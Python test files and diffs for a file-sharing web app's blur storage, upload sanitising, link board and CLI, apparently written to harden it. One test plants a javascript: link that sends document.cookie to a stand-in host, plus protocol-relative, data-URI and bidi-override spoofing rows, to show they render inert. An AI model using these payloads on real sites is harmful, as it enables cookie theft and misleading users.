sys.path.insert(0, str(pathlib.Path(__file__).parent.parent))
from booth.app import BLUR_FILE, create_app, read_blurred, set_blurred # noqa: E402
from booth.blur import BLUR_MAX_BYTES, LEGACY_BLUR_FILE, BlurUnwritable # noqa: E402
from booth.items import booth_items # noqa: E402
PNG = b"\x89PNG\r\n\x1a\n"
SCRIPT = pathlib.Path(__file__).parent.parent / "scripts" / "booth"
def _booth(root: pathlib.Path, name: str, files: dict[str, bytes]) -> pathlib.Path:
b = root / name
b.mkdir()
for rel, data in files.items():
(b / rel).write_bytes(data)
return b
def _within(seconds: float, fn):
"""Run fn in a thread and fail, rather than hang the suite, if it blocks."""
out: dict = {}
t = threading.Thread(target=lambda: out.setdefault("v", fn()), daemon=True)
t.start()
t.join(seconds)
assert not t.is_alive(), f"{fn} blocked for over {seconds}s"
return out["v"]
# ---- the round-trip: the defect ---------------------------------------------
def test_a_leading_space_rel_round_trips(tmp_path):
"""Defeating change: storing rels line-stripped (the old format)."""
set_blurred(tmp_path, " a.png", True)
assert read_blurred(tmp_path) == {" a.png"}
def test_unblurring_a_leading_space_rel_leaves_its_neighbour_blurred(tmp_path):
"""The reported wrong-item write: " a.png" and "a.png" are two items, and
toggling one must never move the other. (Unblurring the SPACED one would
pass under the old format too — it was a no-op there — so this unblurs the
plain one and asks whether the spaced one survived.)"""
set_blurred(tmp_path, "a.png", True)
set_blurred(tmp_path, " a.png", True)
set_blurred(tmp_path, "a.png", False)
assert read_blurred(tmp_path) == {" a.png"}
def test_a_newline_in_a_rel_round_trips(tmp_path):
"""A line format cannot hold one at all."""
set_blurred(tmp_path, "two\nlines.png", True)
assert read_blurred(tmp_path) == {"two\nlines.png"}
def test_the_file_is_a_json_array_in_sorted_order(tmp_path):
"""The `.seen` shape, and a stated order (invariant 6) so two writes of the
same set are byte-identical."""
set_blurred(tmp_path, "b.png", True)
set_blurred(tmp_path, "a.png", True)
assert json.loads((tmp_path / BLUR_FILE).read_text("utf-8")) == ["a.png", "b.png"]
def test_emptying_the_set_removes_the_file(tmp_path):
"""Unchanged: an empty marker is a lie by omission."""
set_blurred(tmp_path, "a.png", True)
set_blurred(tmp_path, "a.png", False)
assert not (tmp_path / BLUR_FILE).exists()
# ---- the legacy format: nothing live changes until it is written ------------
def test_the_legacy_line_format_still_reads(tmp_path):
"""Six live booths hold line-format files. Defeating change: a JSON-only
reader, which would un-blur every one of them on deploy."""
(tmp_path / LEGACY_BLUR_FILE).write_text("a.png\nsub/b.png\n\n")
assert read_blurred(tmp_path) == {"a.png", "sub/b.png"}
def test_a_legacy_rel_that_starts_with_a_bracket_still_reads(tmp_path):
"""A line-format file whose first rel happens to begin with "[" is not
JSON, and must fall back to lines rather than read as nothing."""
(tmp_path / LEGACY_BLUR_FILE).write_text("[draft] a.png\nb.png\n")
assert read_blurred(tmp_path) == {"[draft] a.png", "b.png"}
def test_a_write_upgrades_a_legacy_file_and_keeps_its_rels(tmp_path):
"""And retires the legacy file, so it can never speak again."""
(tmp_path / LEGACY_BLUR_FILE).write_text("a.png\n")
set_blurred(tmp_path, "b.png", True)
assert json.loads((tmp_path / BLUR_FILE).read_text("utf-8")) == ["a.png", "b.png"]
assert not (tmp_path / LEGACY_BLUR_FILE).exists()
# ---- a planted file: never blocks, never follows ----------------------------
def test_a_fifo_blur_file_does_not_block_the_read(tmp_path):
"""read_blurred runs for every booth the Desk renders; a FIFO with no writer
used to hang it — the outage class `.seen` was built against."""
os.mkfifo(tmp_path / BLUR_FILE)
assert _within(5, lambda: read_blurred(tmp_path)) == set()
def test_a_symlinked_blur_file_is_not_followed_on_read(tmp_path):
outside = tmp_path / "outside.json"
outside.write_text('["a.png"]')
b = tmp_path / "b"
b.mkdir()
(b / BLUR_FILE).symlink_to(outside)
assert read_blurred(b) == set()
def test_a_write_replaces_a_planted_symlink_rather_than_writing_through_it(tmp_path):
outside = tmp_path / "outside.txt"
outside.write_text("untouched")
b = tmp_path / "b"
b.mkdir()
(b / BLUR_FILE).symlink_to(outside)
set_blurred(b, "a.png", True)
assert outside.read_text() == "untouched"
assert not (b / BLUR_FILE).is_symlink()
assert read_blurred(b) == {"a.png"}
def test_malformed_json_array_contents_are_skipped_not_fatal(tmp_path):
(tmp_path / BLUR_FILE).write_text('["a.png", 3, null, ["x"]]')
assert read_blurred(tmp_path) == {"a.png"}
# ---- the route: the operator's per-item control -----------------------------
def test_the_blur_route_blurs_exactly_the_item_it_names(tmp_path):
"""The route stripped `f` before writing, so the form for " a.png" blurred
"a.png". Defeating change: `f.strip()` back in the route."""
b = _booth(tmp_path, "g", {" a.png": PNG, "a.png": PNG})
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
r = c.post("/b/g/blur", data={"f": " a.png", "on": "1"}, follow_redirects=False)
assert r.status_code == 303
blurred = {it.rel: it.blurred for it in booth_items(b)}
assert blurred == {" a.png": True, "a.png": False}
# ---- the CLI: the other writer ----------------------------------------------
def _cli(data: pathlib.Path, *args: str) -> subprocess.CompletedProcess:
env = {**os.environ, "BOOTH_DATA_DIR": str(data), "BOOTH_URL": "http://booth.invalid"}
return subprocess.run([str(SCRIPT), *args], capture_output=True, text=True, env=env, timeout=30)
def test_the_cli_writes_the_format_the_service_reads(tmp_path):
"""Both writers, one format. Defeating change: the CLI keeping its own
grep/printf line writer, which appends a line to a JSON array."""
b = _booth(tmp_path, "g", {" a.png": PNG, "a.png": PNG})
set_blurred(b, "a.png", True) # the service wrote first
r = _cli(tmp_path, "blur", "g", " a.png")
assert r.returncode == 0, r.stderr
assert read_blurred(b) == {"a.png", " a.png"}
r = _cli(tmp_path, "unblur", "g", " a.png")
assert r.returncode == 0, r.stderr
assert read_blurred(b) == {"a.png"}
def test_the_cli_unblurring_the_last_item_removes_the_file(tmp_path):
b = _booth(tmp_path, "g", {"a.png": PNG})
assert _cli(tmp_path, "blur", "g", "a.png").returncode == 0
assert _cli(tmp_path, "unblur", "g", "a.png").returncode == 0
assert not (b / BLUR_FILE).exists()
def test_the_cli_still_refuses_a_dotdot_path(tmp_path):
_booth(tmp_path, "g", {"a.png": PNG})
r = _cli(tmp_path, "blur", "g", "../escape.png")
assert r.returncode == 2
assert not (tmp_path / "g" / BLUR_FILE).exists()
# ---- one read of blur state per render (invariant 3) ------------------------
def test_the_item_record_carries_its_own_blur_apart_from_the_booths(tmp_path):
"""r2b's per-item control needs the item's OWN blur as well as the composed
one. It came from a second `read_blurred` in build_gallery — a second reader
of one file, which a write between the two could split. It is now resolved
in `booth_items`, from the one read the composed fact already uses."""
b = _booth(tmp_path, "g", {"a.png": PNG, "b.png": PNG})
set_blurred(b, "a.png", True)
(b / ".blurbooth").write_bytes(b"")
got = {it.rel: (it.blurred, it.blurred_self) for it in booth_items(b)}
assert got == {"a.png": (True, True), "b.png": (True, False)}
def test_app_py_never_reads_the_blur_file_itself():
"""Invariant 3, extended from route bodies to the whole module: blur state
is read in `booth_items` and nowhere in app.py. Defeating change: the
second `read_blurred` in build_gallery."""
import ast
src = pathlib.Path(__file__).parent.parent / "booth" / "app.py"
calls = [
n for n in ast.walk(ast.parse(src.read_text()))
if isinstance(n, ast.Call) and getattr(n.func, "id", getattr(n.func, "attr", None)) == "read_blurred"
]
assert calls == []
# ---- the heid bug-hunt on this change (3 arms), folded -------------------------
@pytest.mark.parametrize("line", ['["a.png"]', "[]", "[1,2]"])
def test_a_legacy_line_that_is_valid_json_still_reads_as_a_line(tmp_path, line):
"""3 of 3 arms. Sniffing one file for two formats misread a legacy file
whose ONE line is an item literally named like a JSON array: `["a.png"]`
read as {"a.png"}, un-blurring the item and blurring its neighbour — the bug
this change exists to fix, recreated by its migration. Defeating change:
trying JSON on the legacy file."""
(tmp_path / LEGACY_BLUR_FILE).write_text(line + "\n")
assert read_blurred(tmp_path) == {line}
def test_a_stale_legacy_file_is_silent_once_the_current_one_exists(tmp_path):
(tmp_path / LEGACY_BLUR_FILE).write_text("old.png\n")
(tmp_path / BLUR_FILE).write_text('["new.png"]')
assert read_blurred(tmp_path) == {"new.png"}
def test_a_planted_directory_at_the_blur_file_is_a_refusal_not_a_crash(tmp_path):
"""2 of 3 arms plus a third from another angle: the reader was hardened
against a planted directory, the writer was not, and `os.replace` onto a
directory raised IsADirectoryError through the route. Defeating change:
letting the OSError out of set_blurred."""
(tmp_path / BLUR_FILE).mkdir()
with pytest.raises(BlurUnwritable):
set_blurred(tmp_path, "a.png", True)
assert (tmp_path / BLUR_FILE).is_dir(), "a planted directory is not ours to remove"
def test_unblurring_under_a_planted_directory_is_not_an_error(tmp_path):
"""Nothing reads as blurred and nothing was asked to be: the reader agrees
with the request, so there is nothing to refuse. A directory holds no set,
so strict writes (below) have nothing to protect here."""
(tmp_path / BLUR_FILE).mkdir()
assert set_blurred(tmp_path, "a.png", False) == set()
def test_a_planted_directory_at_the_legacy_name_does_not_block_a_write(tmp_path):
(tmp_path / LEGACY_BLUR_FILE).mkdir()
set_blurred(tmp_path, "a.png", True)
assert read_blurred(tmp_path) == {"a.png"}
def test_the_route_answers_a_planted_directory_with_409(tmp_path):
b = _booth(tmp_path, "g", {"a.png": PNG})
(b / BLUR_FILE).mkdir()
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
r = c.post("/b/g/blur", data={"f": "a.png", "on": "1"}, follow_redirects=False)
assert r.status_code == 409
def test_a_lone_surrogate_in_the_file_is_skipped_and_writes_still_work(tmp_path):
"""hulda, execution-verified: `"\\ud800"` is a valid JSON string no filename
can produce, and the writer's UTF-8 encode raised on it, so one planted
escape froze the booth's blur. Defeating change: keeping every str member."""
(tmp_path / BLUR_FILE).write_text('["\\ud800", "a.png"]')
assert read_blurred(tmp_path) == {"a.png"}
assert set_blurred(tmp_path, "b.png", True) == {"a.png", "b.png"}
@pytest.mark.parametrize("rel", ["", "/abs.png", "a/../b.png", "..", "\ud800.png"])
def test_a_rel_that_is_not_an_item_path_is_refused(tmp_path, rel):
with pytest.raises(ValueError):
set_blurred(tmp_path, rel, True)
assert not (tmp_path / BLUR_FILE).exists()
def test_a_double_dot_inside_a_name_is_an_item_path(tmp_path):
"""A `..` COMPONENT is an escape; `a..b.png` is a filename."""
assert set_blurred(tmp_path, "a..b.png", True) == {"a..b.png"}
def test_the_route_refuses_an_empty_rel(tmp_path):
"""kimi: `f="/"` stripped to "" and was stored as a member no item can have."""
_booth(tmp_path, "g", {"a.png": PNG})
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
r = c.post("/b/g/blur", data={"f": "/", "on": "1"}, follow_redirects=False)
assert r.status_code == 400
assert not (tmp_path / "g" / BLUR_FILE).exists()
def test_the_writer_never_writes_a_set_the_reader_would_refuse(tmp_path, monkeypatch):
"""2 of 3 arms: nothing capped the writer, the reader refuses a file over
the cap and reads it as EMPTY, so the write that crossed it revealed every
item. Defeating change: no size check before the write."""
import booth.blur as blur
set_blurred(tmp_path, "a.png", True)
monkeypatch.setattr(blur, "BLUR_MAX_BYTES", len(b'["a.png"]') + 3)
with pytest.raises(BlurUnwritable):
set_blurred(tmp_path, "bbbbbbbb.png", True)
monkeypatch.setattr(blur, "BLUR_MAX_BYTES", BLUR_MAX_BYTES)
assert read_blurred(tmp_path) == {"a.png"}, "a refused write changed the set"
def test_the_cli_accepts_a_double_dot_inside_a_name(tmp_path):
"""2 of 3 arms: the CLI's `*..*` substring guard refused `a..b.png`, which
the route accepts. One predicate now serves both."""
b = _booth(tmp_path, "g", {"a..b.png": PNG})
r = _cli(tmp_path, "blur", "g", "a..b.png")
assert r.returncode == 0, r.stderr
assert read_blurred(b) == {"a..b.png"}
def test_the_cli_refuses_an_empty_item_path_before_writing(tmp_path):
"""regin: `booth blur g /` stored an empty member. Refused, and a valid
item named alongside it is not written either."""
b = _booth(tmp_path, "g", {"a.png": PNG})
r = _cli(tmp_path, "blur", "g", "a.png", "/")
assert r.returncode == 2
assert read_blurred(b) == set()
def test_the_cli_refuses_a_planted_directory_with_a_message(tmp_path):
b = _booth(tmp_path, "g", {"a.png": PNG})
(b / BLUR_FILE).mkdir()
r = _cli(tmp_path, "blur", "g", "a.png")
assert r.returncode == 3
assert "Traceback" not in r.stderr and BLUR_FILE in r.stderr
def test_the_cli_fails_closed_without_its_package(tmp_path):
"""kimi: the `link` verb says why and exits 3 when booth/ is missing; the
`blur` verb died with a bare traceback. Same deployment shape as
test_cli's link test: the script alone, no package beside it."""
b = _booth(tmp_path, "g", {"a.png": PNG})
lone = tmp_path / "lone" / "scripts"
lone.mkdir(parents=True)
(lone / "booth").write_text(SCRIPT.read_text())
(lone / "booth").chmod(0o755)
env = {k: v for k, v in os.environ.items() if k != "PYTHONPATH"}
env.update(BOOTH_DATA_DIR=str(tmp_path), BOOTH_URL="http://booth.invalid")
r = subprocess.run([str(lone / "booth"), "blur", "g", "a.png"], capture_output=True,
text=True, env=env, cwd="/tmp", timeout=30)
assert r.returncode == 3
assert "Traceback" not in r.stderr
assert read_blurred(b) == set()
def test_a_fifo_at_the_legacy_name_does_not_block_the_read(tmp_path):
os.mkfifo(tmp_path / LEGACY_BLUR_FILE)
assert _within(5, lambda: read_blurred(tmp_path)) == set()
# ---- reads lenient, writes strict (groa's retry, and marks' lesson) ------------
#
# The reader turns anything it cannot read into an EMPTY set, which is right for
# rendering: a damaged file costs the blur, never the page. A writer that builds
# on that empty set then replaces the file, and whatever it could not read is
# gone. That is the `.marks.json` wipe of 2026-09-21
# (persistent-memory.d/2026-09-21-marks-write-wiped-judgment.md), and a
# cross-uid reader that got EACCES would do it here (groa).
def test_an_unreadable_blur_file_is_never_overwritten(tmp_path):
"""Defeating change: set_blurred building on the lenient reader."""
set_blurred(tmp_path, "a.png", True)
before = (tmp_path / BLUR_FILE).read_bytes()
os.chmod(tmp_path / BLUR_FILE, 0)
try:
with pytest.raises(BlurUnwritable):
set_blurred(tmp_path, "b.png", True)
finally:
os.chmod(tmp_path / BLUR_FILE, 0o644)
assert (tmp_path / BLUR_FILE).read_bytes() == before
def test_a_malformed_blur_file_is_never_overwritten(tmp_path):
(tmp_path / BLUR_FILE).write_text("not json at all")
with pytest.raises(BlurUnwritable):
set_blurred(tmp_path, "a.png", True)
assert (tmp_path / BLUR_FILE).read_text() == "not json at all"
def test_an_oversized_blur_file_is_never_overwritten(tmp_path, monkeypatch):
import booth.blur as blur
set_blurred(tmp_path, "a.png", True)
before = (tmp_path / BLUR_FILE).read_bytes()
monkeypatch.setattr(blur, "BLUR_MAX_BYTES", 4)
with pytest.raises(BlurUnwritable):
set_blurred(tmp_path, "b.png", False)
assert (tmp_path / BLUR_FILE).read_bytes() == before
def test_the_blur_file_is_world_readable_as_it_always_was(tmp_path):
"""groa: mkstemp creates 0600, where the line-format writer left 0644, so a
reader under another uid saw nothing. Defeating change: no chmod."""
set_blurred(tmp_path, "a.png", True)
assert (tmp_path / BLUR_FILE).stat().st_mode & 0o777 == 0o644
# The open flags are the SECOND layer: `_load` lstat-checks for a regular file
# first, so a FIFO or a link never reaches `os.open` through the public API, and
# a mutation run found the flags VACUOUS there. They still close the race (a
# file swapped for a FIFO or a link between the lstat and the open), so they
# are held to account directly, where nothing stands in front of them.
def test_the_raw_read_never_blocks_on_a_fifo(tmp_path):
from booth.blur import _read_capped
os.mkfifo(tmp_path / "f")
assert _within(5, lambda: _read_capped(tmp_path / "f")) is None
def test_the_raw_read_never_follows_a_link(tmp_path):
from booth.blur import _read_capped
(tmp_path / "real.json").write_text('["a.png"]')
(tmp_path / "link").symlink_to(tmp_path / "real.json")
assert _read_capped(tmp_path / "link") is None
+279 -9
View File
@@ -344,6 +344,50 @@ def test_safe_upload_name():
assert safe_upload_name("...", "fb") == "fb"
def test_safe_upload_name_drops_nul_before_the_dot_rule():
# NUL is the one byte no POSIX filename can hold; open() raises ValueError on it
assert safe_upload_name("a\x00b.png", "fb") == "ab.png"
assert safe_upload_name("\x00", "fb") == "fb"
# stripped FIRST, so a NUL cannot shield a leading dot from the hide rule
assert safe_upload_name("\x00.hidden", "fb") == "hidden"
def test_safe_upload_name_caps_bytes_not_characters():
# NAME_MAX is 255 BYTES: 200 two-byte characters are 400 of them
name = safe_upload_name("é" * 200, "fb")
assert len(name.encode("utf-8")) <= 200
assert name == "é" * 100
# a cut through a multibyte character drops the partial character, never mangles it
assert safe_upload_name("a" + "é" * 150, "fb") == "a" + "é" * 99
def test_safe_upload_name_keeps_the_extension_through_the_cut():
# the cut comes out of the stem: a cut `.png` is no longer an image, and a
# name that USED to fit (80 CJK characters, 240 bytes) must not lose its kind
assert safe_upload_name("é" * 200 + ".png", "fb") == "é" * 98 + ".png"
assert classify(safe_upload_name("画" * 80 + ".png", "fb")) == "image"
# a 5-byte extension is kept as well as a 4-byte one
assert safe_upload_name("é" * 200 + ".jpeg", "fb") == "é" * 97 + ".jpeg"
# an "extension" too long to be one is cut like any other text
long_ext = safe_upload_name("a." + "é" * 150, "fb")
assert len(long_ext.encode("utf-8")) <= 200 and long_ext.startswith("a.é")
def test_safe_upload_name_never_manufactures_a_kind():
# a cut through a long suffix can land on a SHORTER one: `.pngxxx…` is not
# an image, and its cut `….png` would be (heid bug hunt, hulda)
name = safe_upload_name("a" * 196 + ".png" + "x" * 17, "fb")
assert classify(name) == "other" and doc_kind(name) is None
assert name == "a" * 196 + "_png"
def test_safe_upload_name_drops_every_unencodable_character_before_the_dot_rule():
# a lone surrogate is dropped too, and it must go FIRST like the NUL: dropped
# last, it shielded the dot and `.forever` came out, which is the keep marker
assert safe_upload_name("\ud800.forever", "fb") == "forever"
assert safe_upload_name("\ud800..", "fb") == "fb"
def _upload(client, files):
return client.post("/upload", files=files, follow_redirects=False)
@@ -385,6 +429,30 @@ def test_upload_sanitizes_traversal(client):
assert not (data.parent / "passwd").exists() # nothing escaped upward
def test_upload_a_nul_in_a_filename_never_500s(client):
# A RAW body: httpx percent-escapes a NUL in `files=` (the server then sees
# a literal "%00" and the test proves nothing). A NUL reached open() and
# raised ValueError, a 500 with the booth torn down.
c, data = client
body = (b'--XyZ\r\nContent-Disposition: form-data; name="files"; filename="a\x00b.png"\r\n'
b"Content-Type: image/png\r\n\r\npng\r\n--XyZ--\r\n")
r = c.post("/upload", content=body, follow_redirects=False,
headers={"content-type": "multipart/form-data; boundary=XyZ"})
assert r.status_code == 303, r.text
booth = data / r.headers["location"].split("/b/")[1].rstrip("/")
assert (booth / "ab.png").read_bytes() == b"png"
def test_upload_a_name_over_name_max_in_bytes_never_500s(client):
# 200 two-byte characters pass a 200-CHARACTER cap and overrun NAME_MAX
# (255 bytes): ENAMETOOLONG at open(), a 500 with the booth torn down
c, data = client
r = _upload(c, [("files", ("é" * 200 + ".txt", b"long", "text/plain"))])
assert r.status_code == 303, r.text
booth = data / r.headers["location"].split("/b/")[1].rstrip("/")
assert (booth / ("é" * 98 + ".txt")).read_bytes() == b"long"
def test_upload_rejects_too_many_files(tmp_path):
app = create_app(tmp_path, start_sweeper=False, max_files=2)
c = TestClient(app)
@@ -771,7 +839,13 @@ def test_sentinel_is_not_counted_as_an_item(tmp_path):
assert booth["count"] == 1
def test_index_separates_kept_from_ephemeral(client):
def test_index_marks_kept_on_the_row_instead_of_a_lane(client):
"""R2 C4 (docs/contracts/r2_flow.contract.md, "Assertions that change").
This test used to require a kept LANE rendered before the ephemeral grid.
The Desk removed the lanes — 23 of 24 live booths were kept, so they sorted
nothing — and orders by what needs the operator instead (tested in
tests/test_flow.py). What survives is the fact: a kept booth still says it
is kept, on its own row."""
c, data = client
_touch(data / "scratch" / "a.png")
_touch(data / "links" / "a.png")
@@ -779,14 +853,9 @@ def test_index_separates_kept_from_ephemeral(client):
html = c.get("/").text
# Assert on the lane's markup, not on the word "Kept" — that string also
# appears in the stylesheet comment that is served on every page, so a bare
# substring check passes for the wrong reason.
assert 'class="grid kept-grid"' in html, "kept booths need their own lane"
assert 'class="card card-kept"' in html
# The kept lane is rendered before the ephemeral grid, so the operator sees
# durable boards first rather than hunting for them among the churn.
assert html.index("links") < html.index("scratch")
assert 'data-booth="links" data-kept="1"' in html
assert 'data-booth="scratch" data-kept="0"' in html
assert 'class="grid kept-grid"' not in html, "no lane: kept is a fact, not a grouping"
def test_kept_booth_shows_kept_instead_of_a_countdown(client):
@@ -1592,3 +1661,204 @@ def test_the_dur_filter_survives_the_custom_environment(tmp_path):
app = create_app(tmp_path, ttl_hours=24, start_sweeper=False)
assert app.state.templates.env.filters["dur"](3600) == "1h"
def test_the_link_board_refuses_to_render_a_script_href(tmp_path):
"""A LIVE INJECTION VECTOR, found by design-dev on the way past R2.
17 agent handles append to the standing board and the operator clicks its
rows. `booth_target`'s http(s) check is about WHICH BOOTH a url names, not
about whether an href is safe to render, and nothing guarded the render.
⚠ The first check of this nearly dismissed it: `javascript:alert(1)` IS
rejected — by the markdown link regex, because the parens break `](...)`.
That is an accident, not a guard, and a paren-free payload sails through.
The row still RENDERS, because the operator should see that something was
posted and refused; it just must not be a link."""
b = tmp_path / "links"
b.mkdir()
b.joinpath("links.md").write_text(
"- [steal it](javascript:document.location='http://evil.test/'+document.cookie)"
" <sub>· rogue · 2026-09-23 10:00</sub>\n"
"- [protocol relative](//evil.test/x) <sub>· rogue · 2026-09-23 10:01</sub>\n"
"- [data uri](data:text/html,xss) <sub>· rogue · 2026-09-23 10:02</sub>\n"
"- [legitimate](https://ok.test/r) <sub>· fine · 2026-09-23 10:03</sub>\n"
)
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
html = c.get("/b/links/").text
assert 'href="https://ok.test/r"' in html, "a good row must still be a link"
for bad in ("javascript:", "//evil.test/x", "data:text/html"):
assert f'href="{bad}' not in html, f"{bad} rendered as an href"
# refused, not hidden: the operator sees that it was posted
assert "evil.test" in html, "the refused row vanished instead of being shown inert"
def test_the_link_board_refuses_the_backslash_twin_of_protocol_relative(tmp_path):
"""heid bug-hunt 2026-09-28, groa: `//evil.test` was refused and
`/\\evil.test` was not, but a browser reads a backslash as a slash in an
http(s) URL. Same predicate as the docs, same hole, closed once."""
b = tmp_path / "links"
b.mkdir()
b.joinpath("links.md").write_text(
"- [twin](/\\evil.test/x) <sub>· rogue · 2026-09-28 10:00</sub>\n"
"- [legitimate](https://ok.test/r) <sub>· fine · 2026-09-28 10:01</sub>\n"
)
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
html = c.get("/b/links/").text
assert 'href="https://ok.test/r"' in html
assert 'href="/\\evil.test' not in html
def test_the_board_delete_dialog_cannot_be_rewritten_by_a_link_row(tmp_path):
"""A board row's description and URL come from any of seventeen agent
handles, and they are pasted into a `confirm()` dialog — which is the text
the operator reads before approving a delete.
Escaping protects the PAGE and does nothing here: `confirm` renders a plain
string, so a bidi override (U+202E) or a newline re-orders or hides what he
is consenting to, and the row shown is not the row removed.
Found by design-dev, the same class as the wipe dialog he had just fixed on
the Desk. Defeating change: dropping `shown()` from either argument."""
b = tmp_path / "links"
b.mkdir()
b.joinpath("links.md").write_text(
"- [innocent‮gnihtemos esle](https://ok.test/a) <sub>· rogue · 2026-09-23 10:00</sub>\n"
)
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
html = c.get("/b/links/").text
assert "function shown(" in html, "the dialog sanitiser is gone"
# both arguments must go through it, not just one
assert "shown(btn.getAttribute('data-desc')" in html
assert "shown(btn.getAttribute('data-url')" in html
def test_booth_blur_composes_with_per_item_and_never_overrides_it(tmp_path):
"""The operator ruled booth-level blur in; design-dev specced the semantics
and this is the half that is ours.
COMPOSES, never overrides: an item is blurred iff the booth is blurred OR it
is in `.blurred`. Turning booth blur off must leave an agent's per-item
choice exactly as the poster left it — an override would need a per-item
"unblurred" exception list, which is state nobody can see.
Defeating change: assigning `Item.blurred` from the booth flag instead of
OR-ing it."""
from booth.app import set_blurred, set_booth_blurred
from booth.items import booth_items
b = tmp_path / "g"
b.mkdir()
for n in ("a.png", "b.png", "c.mp3"):
(b / n).write_bytes(b"x")
set_blurred(b, "b.png", True)
def state():
return {i.rel: i.blurred for i in booth_items(b)}
assert state() == {"a.png": False, "b.png": True, "c.mp3": False}
set_booth_blurred(b, True)
# audio has nothing to hide from a glance
assert state() == {"a.png": True, "b.png": True, "c.mp3": False}
set_booth_blurred(b, False)
assert state() == {"a.png": False, "b.png": True, "c.mp3": False}, \
"unfogging the booth erased the poster's per-item blur"
def test_an_unreadable_booth_blur_marker_fogs_rather_than_reveals(tmp_path, monkeypatch):
"""`is_kept` fails toward KEEPING because a failed read must not authorise a
delete. This fails toward HIDING, because a failed read must not reveal
something the poster asked to fog. Same shape, inverted safety, and the
inversion is the point.
Defeating change: `except OSError: return False`."""
import booth.items as items_mod
b = tmp_path / "g"
b.mkdir()
real = pathlib.Path.lstat
def boom(self, *a, **k):
if self.name == items_mod.BOOTH_BLUR_FILE:
raise PermissionError(13, "nope")
return real(self, *a, **k)
monkeypatch.setattr(pathlib.Path, "lstat", boom)
assert items_mod.is_booth_blurred(b) is True
def test_the_blurbooth_route_toggles_and_lands_back(tmp_path):
"""The POST target design-dev's header control needs, with `back=view` so
fogging from the review does not eject you from the review."""
b = tmp_path / "g"
b.mkdir()
(b / "a.png").write_bytes(b"x")
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
r = c.post("/b/g/blurbooth", data={"on": "1"}, follow_redirects=False)
assert r.status_code == 303 and r.headers["location"] == "/b/g/"
assert (b / ".blurbooth").exists()
r = c.post("/b/g/blurbooth", data={"on": "1", "back": "a.png"}, follow_redirects=False)
assert r.headers["location"] == "/b/g/view?f=a.png"
c.post("/b/g/blurbooth", data={"on": "0"}, follow_redirects=False)
assert not (b / ".blurbooth").exists()
def test_every_booth_can_state_when_it_was_made(tmp_path):
"""The operator asked for creation dates. `.booth.json`'s declared
`created` only exists for booths posted through the CLI since U5 — twelve
of thirty live booths had none — and every alternative was a guess wearing
a fact's clothes: oldest content mtime is wrong the moment an agent copies
files with timestamps preserved, and directory mtime just means "last thing
added".
ext4 records a real birth time and `statx` reads it, so this is a FACT the
disk already holds. ONE rule for every booth, manifest or not.
Defeating change: falling back to `stat().st_mtime`, which changes every
time a file lands and would show a week-old booth as created five minutes
ago."""
import time
b = tmp_path / "g"
b.mkdir()
made = time.time()
(b / "a.png").write_bytes(b"x")
rows = {r["name"]: r for r in list_booths(tmp_path, ttl_seconds=86400)}
row = rows["g"]
assert row["created_at"] is not None, "no creation time for a fresh booth"
assert abs(row["created_at"] - made) < 10
# and it must NOT move when content lands later
time.sleep(1.1)
(b / "b.png").write_bytes(b"y")
again = {r["name"]: r for r in list_booths(tmp_path, ttl_seconds=86400)}["g"]
assert again["created_at"] == row["created_at"], \
"the creation time moved when a file was added — that is `updated`, not `created`"
assert again["landed_at"] > row["landed_at"], "`updated` did not move"
def test_a_filesystem_with_no_birth_time_shows_nothing(tmp_path, monkeypatch):
"""None renders as nothing, which is the honest output when nobody knows —
tmpfs, NFS and some overlayfs do not record a birth time, and an old kernel
has no `statx` at all.
Defeating change: substituting any mtime when birth_time returns None."""
import booth.app as app_mod
b = tmp_path / "g"
b.mkdir()
(b / "a.png").write_bytes(b"x")
monkeypatch.setattr(app_mod, "birth_time", lambda p: None)
row = {r["name"]: r for r in list_booths(tmp_path, ttl_seconds=86400)}["g"]
assert row["created_at"] is None
+43
View File
@@ -659,3 +659,46 @@ def test_the_append_happens_INSIDE_the_lock(booth):
fcntl.flock(lf, fcntl.LOCK_UN)
assert (board / "links.md").read_text() == "", \
"the row was appended while another writer held the lock"
def test_blur_with_no_files_fogs_the_whole_booth(booth):
"""The Desk shows up to four images from EVERY booth on the page the
operator opens first, so a booth that should not be glanced at has to say
so as a booth — and the session that posts it is the one that knows.
Seventeen handles call this script; a verb here is how they self-blur at
post time without waiting for anyone to click anything."""
data, b = booth
(b / "a.png").write_bytes(b"x")
out = run(data, "blur", "b")
assert out.returncode == 0, out.stderr
assert (b / ".blurbooth").exists()
assert "whole booth blurred" in out.stdout
out = run(data, "unblur", "b")
assert out.returncode == 0, out.stderr
assert not (b / ".blurbooth").exists()
def test_unblurring_the_booth_keeps_per_item_choices(booth):
"""COMPOSES, never overrides — the same promise the resolver makes. An
agent's per-item blur must survive the booth flag being cleared.
Defeating change: `unblur <name>` also clearing `.blurred`."""
data, b = booth
for n in ("a.png", "b.png"):
(b / n).write_bytes(b"x")
run(data, "blur", "b", "a.png")
run(data, "blur", "b")
run(data, "unblur", "b")
assert not (b / ".blurbooth").exists()
# Read through the reader, not the bytes: `.blurred` became a JSON array
# (the round-trip fix, operator-ruled 2026-09-23), and this test is about
# the per-item choice surviving, not about the file's format.
import sys
sys.path.insert(0, str(pathlib.Path(__file__).parent.parent))
from booth.blur import read_blurred
assert read_blurred(b) == {"a.png"}
+426
View File
@@ -0,0 +1,426 @@
"""R3 — compare: two picked items of a booth side by side.
Contract: docs/contracts/r3_compare.contract.md. The server half: the route,
the pair, the step and strip links, the regions, and the JS-off flag landing.
The browser half is tests/test_compare_browser.py.
"""
from __future__ import annotations
import pathlib
import re
import sys
from urllib.parse import parse_qs, urlsplit
from fastapi.testclient import TestClient
sys.path.insert(0, str(pathlib.Path(__file__).parent.parent))
from booth.app import create_app # noqa: E402
PNG = b"\x89PNG\r\n\x1a\n"
def _booth(root: pathlib.Path, name: str, files: dict[str, bytes]) -> pathlib.Path:
b = root / name
b.mkdir()
for rel, data in files.items():
p = b / rel
p.parent.mkdir(parents=True, exist_ok=True)
p.write_bytes(data)
return b
def _client(root: pathlib.Path) -> TestClient:
return TestClient(create_app(root, ttl_hours=24, start_sweeper=False),
follow_redirects=False)
def _frames(body: str) -> dict[str, str]:
"""rel -> the A/B marks its filmstrip frame carries ('' for none), in
strip order."""
